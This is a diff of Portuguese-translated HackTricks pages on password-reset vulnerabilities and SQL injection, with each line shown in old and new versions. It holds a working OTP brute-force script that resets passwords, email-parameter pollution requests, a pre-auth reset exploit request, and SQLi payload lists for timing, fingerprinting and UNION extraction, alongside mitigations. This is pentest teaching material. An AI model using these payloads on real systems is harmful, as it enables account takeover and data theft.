- O HTTP referer header pode leak o password reset token se ele estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar um password reset.
|
||||
- **Impacto**: Potencial account takeover via Cross-Site Request Forgery (CSRF) attacks.
|
||||
- **Exploitation**: Para verificar se um password reset token está leak no referer header, **request a password reset** para seu endereço de email e **click the reset link** fornecido. **Do not change your password** imediatamente. Em vez disso, **navigate to a third-party website** (como Facebook ou Twitter) enquanto **intercepting the requests using Burp Suite**. Inspecione as requests para ver se o **referer header contains the password reset token**, pois isso poderia expor informações sensíveis a terceiros.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Artigo sobre Vazamento de Token de Redefinição de Senha](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Envenenamento de Redefinição de Senha**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Os atacantes podem manipular o cabeçalho Host durante as solicitações de redefinição de senha para apontar o link de redefinição para um site malicioso.
|
||||
- **Impacto**: Leva a uma potencial tomada de conta ao vazar tokens de redefinição para atacantes.
|
||||
- **Passos de Mitigação**:
|
||||
- Valide o cabeçalho Host contra uma lista de domínios permitidos.
|
||||
- Use métodos seguros do lado do servidor para gerar URLs absolutas.
|
||||
- **Correção**: Use `$_SERVER['SERVER_NAME']` para construir URLs de redefinição de senha em vez de `$_SERVER['HTTP_HOST']`.
|
||||
- **Referências**:
|
||||
- [Artigo da Acunetix sobre Envenenamento de Redefinição de Senha](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- Atacantes podem manipular o Host header durante password reset requests para apontar o reset link para um site malicioso.
|
||||
- **Impacto**: Leads to potential account takeover por leak de reset tokens para atacantes.
|
||||
- **Mitigation Steps**:
|
||||
- Valide o Host header contra uma whitelist de domínios permitidos.
|
||||
- Use métodos server-side seguros para gerar URLs absolutas.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Redefinição de Senha Manipulando o Parâmetro de E-mail**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Os atacantes podem manipular a solicitação de redefinição de senha adicionando parâmetros de e-mail adicionais para desviar o link de redefinição.
|
||||
Atacantes podem manipular a password reset request adicionando parâmetros de email adicionais para desviar o reset link.
|
||||
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando &
|
||||
- Adicione o email do atacante como segundo parâmetro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando %20
|
||||
- Adicione o email do atacante como segundo parâmetro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando |
|
||||
- Adicionar o e-mail do atacante como segundo parâmetro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando cc
|
||||
- Adicionar o e-mail do atacante como segundo parâmetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando bcc
|
||||
- Adicione o email do attacker como segundo parâmetro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro usando ,
|
||||
- Adicione o email do attacker como segundo parâmetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Adicione o e-mail do atacante como segundo parâmetro na matriz JSON.
|
||||
Adicione o email do atacante como segundo parâmetro no array JSON
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Etapas de Mitigação**:
|
||||
- Analise e valide corretamente os parâmetros de email no lado do servidor.
|
||||
- Use declarações preparadas ou consultas parametrizadas para prevenir ataques de injeção.
|
||||
- **Medidas de Mitigação**:
|
||||
- Analise e valide corretamente os parâmetros de e-mail no lado do servidor.
|
||||
- Utilize prepared statements ou parameterized queries para prevenir injection attacks.
|
||||
- **Referências**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Mudando o Email e a Senha de qualquer Usuário através de Parâmetros da API**
|
||||
## **Alterando o E-mail e a Senha de qualquer Usuário através de Parâmetros da API**
|
||||
|
||||
- Os atacantes podem modificar os parâmetros de email e senha em solicitações da API para alterar as credenciais da conta.
|
||||
- Atacantes podem modificar parâmetros de e-mail e senha em requisições da API para alterar credenciais de conta.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Passos de Mitigação**:
|
||||
- Garantir validação rigorosa de parâmetros e verificações de autenticação.
|
||||
- Implementar registro e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||
- **Medidas de Mitigação**:
|
||||
- Garantir validação estrita de parâmetros e verificações de autenticação.
|
||||
- Implementar logging e monitoramento robustos para detectar e responder a atividades suspeitas.
|
||||
- **Referência**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Sem Limitação de Taxa: Bombardeio de Email**
|
||||
## **Sem Rate Limiting: Email Bombing**
|
||||
|
||||
- A falta de limitação de taxa em solicitações de redefinição de senha pode levar ao bombardeio de email, sobrecarregando o usuário com emails de redefinição.
|
||||
- **Passos de Mitigação**:
|
||||
- Implementar limitação de taxa com base no endereço IP ou na conta do usuário.
|
||||
- Usar desafios CAPTCHA para prevenir abusos automatizados.
|
||||
- A falta de rate limiting em requests de password reset pode levar a email bombing, sobrecarregando o usuário com emails de reset.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar rate limiting baseado em endereço IP ou conta de usuário.
|
||||
- Usar desafios CAPTCHA para prevenir abuso automatizado.
|
||||
- **Referências**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Descubra Como o Token de Redefinição de Senha é Gerado**
|
||||
## **Descobrir como o Password Reset Token é Gerado**
|
||||
|
||||
- Compreender o padrão ou método por trás da geração de tokens pode levar à previsão ou força bruta de tokens. Algumas opções:
|
||||
- Baseado em Timestamp
|
||||
- Baseado no UserID
|
||||
- Baseado no email do Usuário
|
||||
- Baseado no Primeiro Nome e Sobrenome
|
||||
- Baseado na Data de Nascimento
|
||||
- Baseado em Criptografia
|
||||
- **Passos de Mitigação**:
|
||||
- Usar métodos fortes e criptográficos para a geração de tokens.
|
||||
- Garantir aleatoriedade e comprimento suficientes para prevenir previsibilidade.
|
||||
- **Ferramentas**: Usar Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||
- Entender o padrão ou método por trás da geração do token pode levar à predição ou brute-forcing dos tokens. Algumas opções:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **Medidas de Mitigação**:
|
||||
- Usar métodos criptográficos fortes para geração de tokens.
|
||||
- Garantir entropia e comprimento suficientes para prevenir previsibilidade.
|
||||
- **Ferramentas**: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
|
||||
|
||||
## **UUID Adivinhável**
|
||||
## **Guessable UUID**
|
||||
|
||||
- Se UUIDs (version 1) são guessable ou previsíveis, atacantes podem brute-forceá-los para gerar reset tokens válidos. Verifique:
|
||||
|
||||
- Se UUIDs (versão 1) forem adivinháveis ou previsíveis, atacantes podem forçá-los a gerar tokens de redefinição válidos. Verifique:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Passos de Mitigação**:
|
||||
- Usar GUID versão 4 para aleatoriedade ou implementar medidas de segurança adicionais para outras versões.
|
||||
- **Ferramentas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
||||
- **Medidas de Mitigação**:
|
||||
- Use GUID version 4 para maior aleatoriedade ou implemente medidas adicionais de segurança para outras versões.
|
||||
- **Ferramentas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analisar e gerar GUIDs.
|
||||
|
||||
## **Manipulação de Resposta: Substituir Resposta Ruim por Boa**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipulando respostas HTTP para contornar mensagens de erro ou restrições.
|
||||
- **Passos de Mitigação**:
|
||||
- Implementar verificações do lado do servidor para garantir a integridade da resposta.
|
||||
- Manipular respostas HTTP para contornar mensagens de erro ou restrições.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar checagens server-side para garantir a integridade das respostas.
|
||||
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||
- **Referência**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Usando Token Expirado**
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testando se tokens expirados ainda podem ser usados para redefinição de senha.
|
||||
- **Passos de Mitigação**:
|
||||
- Implementar políticas rigorosas de expiração de tokens e validar a expiração do token no lado do servidor.
|
||||
- Testar se tokens expirados ainda podem ser usados para password reset.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar políticas estritas de expiração de token e validar a expiração server-side.
|
||||
|
||||
## **Força Bruta do Token de Redefinição de Senha**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Tentando forçar o token de redefinição usando ferramentas como Burpsuite e IP-Rotator para contornar limites de taxa baseados em IP.
|
||||
- **Passos de Mitigação**:
|
||||
- Implementar mecanismos robustos de limitação de taxa e bloqueio de conta.
|
||||
- Monitorar atividades suspeitas indicativas de ataques de força bruta.
|
||||
- Tentar brute-forcear o reset token usando ferramentas como Burpsuite e IP-Rotator para contornar limites por IP.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar rate-limiting robusto e mecanismos de lockout de conta.
|
||||
- Monitorar atividades suspeitas indicativas de ataques de brute-force.
|
||||
|
||||
## **Tente Usar Seu Token**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testando se o token de redefinição de um atacante pode ser usado em conjunto com o email da vítima.
|
||||
- **Passos de Mitigação**:
|
||||
- Garantir que os tokens estejam vinculados à sessão do usuário ou a outros atributos específicos do usuário.
|
||||
- Testar se o reset token de um atacante pode ser usado em conjunto com o email da vítima.
|
||||
- **Medidas de Mitigação**:
|
||||
- Garantir que os tokens estejam vinculados à sessão do usuário ou outros atributos específicos do usuário.
|
||||
|
||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Garantir que as sessões sejam invalidadas quando um usuário faz logout ou redefine sua senha.
|
||||
- **Passos de Mitigação**:
|
||||
- Implementar gerenciamento adequado de sessões, garantindo que todas as sessões sejam invalidadas ao fazer logout ou redefinir a senha.
|
||||
- Garantir que sessões sejam invalidadas quando um usuário faz logout ou reseta sua password.
|
||||
- **Medidas de Mitigação**:
|
||||
- Implementar gerenciamento de sessão apropriado, garantindo que todas as sessões sejam invalidadas no logout ou password reset.
|
||||
|
||||
## **Invalidar Sessão em Logout/Redefinição de Senha**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Tokens de redefinição devem ter um tempo de expiração após o qual se tornam inválidos.
|
||||
- **Passos de Mitigação**:
|
||||
- Definir um tempo de expiração razoável para tokens de redefinição e aplicá-lo rigorosamente no lado do servidor.
|
||||
- Reset tokens devem ter um tempo de expiração após o qual se tornam inválidos.
|
||||
- **Medidas de Mitigação**:
|
||||
- Definir um tempo de expiração razoável para reset tokens e aplicá-lo estritamente server-side.
|
||||
|
||||
## **Contornar Limite de Taxa de OTP Mudando Sua Sessão**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Se o site estiver usando a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos), então podemos efetivamente forçar o OTP.
|
||||
- **exploração**:
|
||||
- basta solicitar um novo token de sessão após ser bloqueado pelo servidor.
|
||||
- **Exemplo** de código que explora esse bug adivinhando aleatoriamente o OTP (quando você muda a sessão, o OTP também mudará, e assim não poderemos forçar sequencialmente!):
|
||||
- Se o site usa a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos) então podemos efetivamente bruteforcear o OTP.
|
||||
- **exploitation**:
|
||||
- simplesmente solicitar um novo session token após ser bloqueado pelo servidor.
|
||||
- **Example** código que explora esse bug ao adivinhar aleatoriamente o OTP (quando você troca a session o OTP também mudará, então não conseguiremos brute-forceá-lo sequencialmente!):
|
||||
|
||||
``` python
|
||||
# Bypass de autenticação por redefinição de senha
|
||||
# por coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Iniciando ataque!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] Isso pode levar cerca de 5 minutos para terminar!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatório de 0 - 9999 com 4 d
|
||||
parms["s"] = 164 # não é importante, só afeta o frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # seguir número de tentativas
|
||||
out = requests.get(logout,headers=headers) # faz logout
|
||||
mainp = requests.get(root) # obtém outro phpssid (token)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # extrai o sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # atualiza os headers com nova sessão
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envia o email para mudar a senha
|
||||
ter = 0 # reinicia ter para obter uma nova sessão após 8 tentativas
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # este é o comprimento da página quando você obtém o código de recuperação corretamente (obtido por teste)
|
||||
print(len(res.text)) # para informações de depuração
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # aqui mudaremos a senha para algo novo
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] A senha foi alterada para:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Ataque interrompido")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Exploitation request (conceito):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigações:
|
||||
- Exigir sempre um reset token válido e com validade limitada, vinculado à conta e à sessão antes de alterar a senha.
|
||||
- Nunca exponha caminhos skipOldPwdCheck para usuários não autenticados; exija autenticação para alterações regulares de senha e verifique a senha antiga.
|
||||
- Invalidar todas as sessões ativas e reset tokens após uma alteração de senha.
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é injeção de SQL?
|
||||
## O que é SQL injection?
|
||||
|
||||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
|
||||
Uma **SQL injection** é uma falha de segurança que permite a atacantes **interferir nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir a atacantes **visualizar**, **modificar** ou **excluir** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados que a aplicação consiga acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou no conteúdo da aplicação, ou até no comprometimento do servidor ou denial of service.
|
||||
|
||||
## Detecção de ponto de entrada
|
||||
## Detecção do ponto de entrada
|
||||
|
||||
Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
|
||||
Quando um site parece estar **vulnerable a SQL injection (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Aqui estão alguns exemplos úteis:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a res
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode apenas **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||||
Então, você precisa saber como **corrigir a query para que não haja erros**. Para corrigir a query você pode **inserir** dados para que a **query anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||||
|
||||
_Observe que se você puder ver mensagens de erro ou notar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
|
||||
_Note que se você conseguir ver mensagens de erro ou identificar diferenças quando uma query está funcionando e quando não está, essa fase será mais fácil._
|
||||
|
||||
### **Comentários**
|
||||
```sql
|
||||
@ -53,18 +53,18 @@ HQL does not support comments
|
||||
```
|
||||
### Confirmando com operações lógicas
|
||||
|
||||
Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' ou '1'='1` indica uma vulnerabilidade de SQL injection.
|
||||
Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` retornando conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de SQL injection.
|
||||
|
||||
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de SQL injection.
|
||||
Da mesma forma, a aplicação de **operações matemáticas** funciona como técnica eficaz de confirmação. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir o mesmo resultado, isso indica SQL injection.
|
||||
|
||||
Exemplos demonstrando a confirmação de operação lógica:
|
||||
Exemplos demonstrando confirmação por operação lógica:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da maneira proposta:
|
||||
Esta word-list foi criada para tentar **confirmar SQLinjections** da maneira proposta:
|
||||
|
||||
<details>
|
||||
<summary>True SQLi</summary>
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Confirmando com Tempo
|
||||
### Confirmando pelo tempo
|
||||
|
||||
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções SQL cegas** é fazer com que o DB execute ações que terão um **impacto no tempo** que a página leva para carregar.\
|
||||
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||||
Em alguns casos você **não notará nenhuma alteração** na página que está testando. Portanto, uma boa forma de **discover blind SQL injections** é fazer o DB executar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||||
Portanto, vamos usar concat na SQL query para inserir uma operação que levará muito tempo para ser concluída:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
Em alguns casos, as **funções de sleep não serão permitidas**. Então, em vez de usar essas funções, você poderia fazer a consulta **realizar operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver)_.
|
||||
Em alguns casos as **sleep functions won't be allowed**. Então, em vez de usar essas funções você pode fazer a consulta **executar operações complexas** que levarão vários segundos. _Exemplos dessas técnicas serão comentados separadamente para cada tecnologia (se houver)_.
|
||||
|
||||
### Identificando o Back-end
|
||||
### Identifying Back-end
|
||||
|
||||
A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você poderia usar as _**funções de sleep**_ da seção anterior ou estas (tabela de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
A melhor forma de identificar o back-end é tentando executar funções dos diferentes back-ends. Você pode usar as _**sleep**_ **functions** da seção anterior ou estas (tabela de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,10 +211,10 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Além disso, se você tiver acesso à saída da consulta, poderá fazer com que **imprima a versão do banco de dados**.
|
||||
Além disso, se você tiver acesso à saída da consulta, pode fazê-la **imprimir a versão do banco de dados**.
|
||||
|
||||
> [!TIP]
|
||||
> A continuação discutiremos diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.
|
||||
> Como continuação, vamos discutir diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.
|
||||
|
||||
### Identificando com PortSwigger
|
||||
|
||||
@ -223,17 +223,17 @@ Além disso, se você tiver acesso à saída da consulta, poderá fazer com que
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Explorando Baseado em Union
|
||||
## Exploiting Union Based
|
||||
|
||||
### Detectando o número de colunas
|
||||
|
||||
Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.\
|
||||
Primeiro de tudo, precisamos descobrir o **número** de **colunas** que a **requisição inicial** está retornando. Isso ocorre porque **ambas as consultas devem retornar o mesmo número de colunas**.\
|
||||
Se você consegue ver a saída da consulta esta é a melhor maneira de explorá-la.\
|
||||
Primeiro de tudo, precisamos descobrir o **número** de **colunas** que a **requisição inicial** está retornando. Isso é porque **ambas as consultas devem retornar o mesmo número de colunas**.\
|
||||
Dois métodos são tipicamente usados para esse propósito:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas **ORDER BY** ou **GROUP BY** até que uma resposta falsa seja recebida. Apesar das funcionalidades distintas de **GROUP BY** e **ORDER BY** dentro do SQL, ambos podem ser utilizados de forma idêntica para determinar a contagem de colunas da consulta.
|
||||
Para determinar o número de colunas em uma consulta, ajuste incrementalmente o número usado nas cláusulas **ORDER BY** ou **GROUP BY** até que uma resposta falsa seja recebida. Apesar das funcionalidades distintas de **GROUP BY** e **ORDER BY** dentro do SQL, ambos podem ser utilizados identicamente para verificar a contagem de colunas da consulta.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ Para determinar o número de colunas em uma consulta, ajuste incrementalmente o
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Selecione mais e mais valores nulos até que a consulta esteja correta:
|
||||
Selecione mais e mais valores null até que a query esteja correta:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Você deve usar valores `null`, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e null é válido em todos os casos._
|
||||
_Você deve usar `null` valores, pois em alguns casos o tipo das colunas de ambos os lados da query deve ser o mesmo e null é válido em todos os casos._
|
||||
|
||||
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
||||
|
||||
Nos próximos exemplos, vamos recuperar o nome de todos os bancos de dados, o nome da tabela de um banco de dados, os nomes das colunas da tabela:
|
||||
Nos exemplos a seguir vamos recuperar o nome de todos os bancos de dados, o nome das tabelas de um banco de dados e os nomes das colunas de uma tabela:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,53 +272,53 @@ Nos próximos exemplos, vamos recuperar o nome de todos os bancos de dados, o no
|
||||
#Column names
|
||||
